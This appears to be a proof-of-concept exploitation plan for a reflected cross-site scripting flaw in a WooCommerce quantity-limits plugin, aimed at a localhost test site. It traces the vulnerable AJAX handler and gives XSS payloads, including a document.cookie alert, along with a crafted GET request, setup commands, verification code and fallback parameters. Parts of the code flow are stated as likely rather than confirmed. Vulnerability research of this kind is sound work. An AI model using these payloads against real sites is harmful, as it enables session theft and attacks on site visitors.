Min Max Step Quantity Limits Manager for WooCommerce <= 5.2.2 - Reflected Cross-Site Scripting

This analysis identifies a Reflected Cross-Site Scripting (XSS) vulnerability in the Min Max Step Quantity Limits Manager for WooCommerce plugin (versions <= 5.2.2). The vulnerability resides in the AJAX handler responsible for updating product prices based on quantity changes.

1. Vulnerability Summary

The plugin registers an AJAX action alg_wc_pq_update_price_by_qty which is accessible to both authenticated and unauthenticated users. The handler for this action (located in Alg_WC_PQ_Core) processes several input parameters—most notably alg_wc_pq_qty—and reflects them back in the response. Due to a lack of proper sanitization on the server side and the use of the jQuery .html() method on the client side (in alg-wc-pq-price-by-qty.js), an attacker can inject arbitrary JavaScript that executes in the context of the user's browser.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: alg_wc_pq_update_price_by_qty
• Vulnerable Parameter: alg_wc_pq_qty (and potentially attribute or selected_val).
• Authentication: Unauthenticated (wp_ajax_nopriv_ is used).
• Preconditions:
  1. The "Price by Quantity" feature must be enabled (alg_wc_pq_qty_price_by_qty_enabled setting).
  2. The victim must click a link or be forced to send a request to the AJAX endpoint.

3. Code Flow

1. Enqueuing (PHP): Alg_WC_PQ_Scripts::enqueue_scripts() (in includes/class-alg-wc-pq-scripts.php) checks if the "Price by Quantity" feature is enabled. If so, it enqueues alg-wc-pq-price-by-qty.js and localizes the alg_wc_pq_update_price_by_qty_object.
2. Trigger (JS): In includes/js/alg-wc-pq-price-by-qty.js, the function alg_wc_pq_update_price_by_qty is triggered by quantity changes. It sends a POST request to admin-ajax.php.
3. Handler (PHP): The server-side handler for alg_wc_pq_update_price_by_qty (in Alg_WC_PQ_Core) retrieves $_POST['alg_wc_pq_qty'].
4. Reflection (PHP): The handler processes the quantity and, in certain conditions (e.g., when formatting price or returning errors), includes the raw alg_wc_pq_qty value in the string response.
5. Execution (JS): The success callback in the JS file receives the response and injects it into the DOM using:
   jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response ); or jQuery( 'p.price' ).html( response );.
   Because .html() executes script tags and handles HTML attributes like onerror, the payload runs.

4. Nonce Acquisition Strategy

According to includes/class-alg-wc-pq-scripts.php, the localization object for the price-by-qty script does not include a nonce:

wp_localize_script( 'alg-wc-pq-price-by-qty',
    'alg_wc_pq_update_price_by_qty_object', array(
        'ajax_url'                => admin_url( 'admin-ajax.php' ),
        'product_id'              => get_the_ID(),
        'position'                => get_option( 'alg_wc_pq_qty_price_by_qty_position', 'instead' ),
        'replace_variation_price' => 'yes' === get_option( 'alg_wc_pq_qty_price_by_qty_variation_price', 'no' ),
        'ajax_async'              => get_option( 'alg_wc_pq_false_ajax_async', 'no' )
    ) );

The AJAX handler in the core likely does not verify a nonce for this specific action, making it exploitable by unauthenticated users without any token.

5. Exploitation Strategy

The exploit will be delivered via a direct GET request to admin-ajax.php. Although the JS uses POST, WordPress AJAX handlers typically respond to GET if they use $_REQUEST or if the developer didn't specifically restrict the method.

• HTTP Request:

  GET /wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=PRODUCT_ID&alg_wc_pq_qty=<img+src=x+onerror=alert(document.domain)> HTTP/1.1
  Host: localhost
  

• Payloads:
  1. <img src=x onerror=alert(1)>
  2. <svg/onload=alert(document.cookie)>
  3. 1<script>alert("XSS")</script>

6. Test Data Setup

1. Enable Plugin: Ensure the plugin is active.
2. Enable Feature:

   wp option update alg_wc_pq_enabled yes
   wp option update alg_wc_pq_qty_price_by_qty_enabled yes
   

3. Create Product:

   # Create a simple product to get a valid ID
   wp post create --post_type=product --post_title='Exploit Product' --post_status=publish
   

4. Identify ID: Note the ID of the created product (e.g., 123).

7. Expected Results

• The response from admin-ajax.php will contain the raw payload: <img src=x onerror=alert(document.domain)>.
• If rendered in a browser (simulating a victim clicking the link), an alert box will appear.
• The Content-Type of the response is likely text/html.

8. Verification Steps

1. HTTP Check: Use the http_request tool to send the malicious request and verify the payload exists in the response body.

   // Example Verification
   const response = await http_request({
       url: "http://localhost:8080/wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=123&alg_wc_pq_qty=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E",
       method: "GET"
   });
   if (response.body.includes("<img src=x onerror=alert(1)>")) {
       console.log("Vulnerability Confirmed: Input Reflected");
   }
   

2. Browser Verification: Use browser_navigate to the URL and check if an alert is triggered (using page.on('dialog') in Playwright context).

9. Alternative Approaches

If alg_wc_pq_qty is filtered (e.g., cast to float), attempt injection through other parameters sent by the JS:

• Selected Value: selected_val=<script>alert(2)</script>
• Attribute (JSON): attribute=[{"<img src=x onerror=alert(3)>":"val"}]
• Quantity Fetch: quantity_fetch=<svg/onload=alert(4)>

If the handler only accepts POST, the strategy would involve creating a simple HTML page on the attacker's server that auto-submits a form to admin-ajax.php using the same parameters.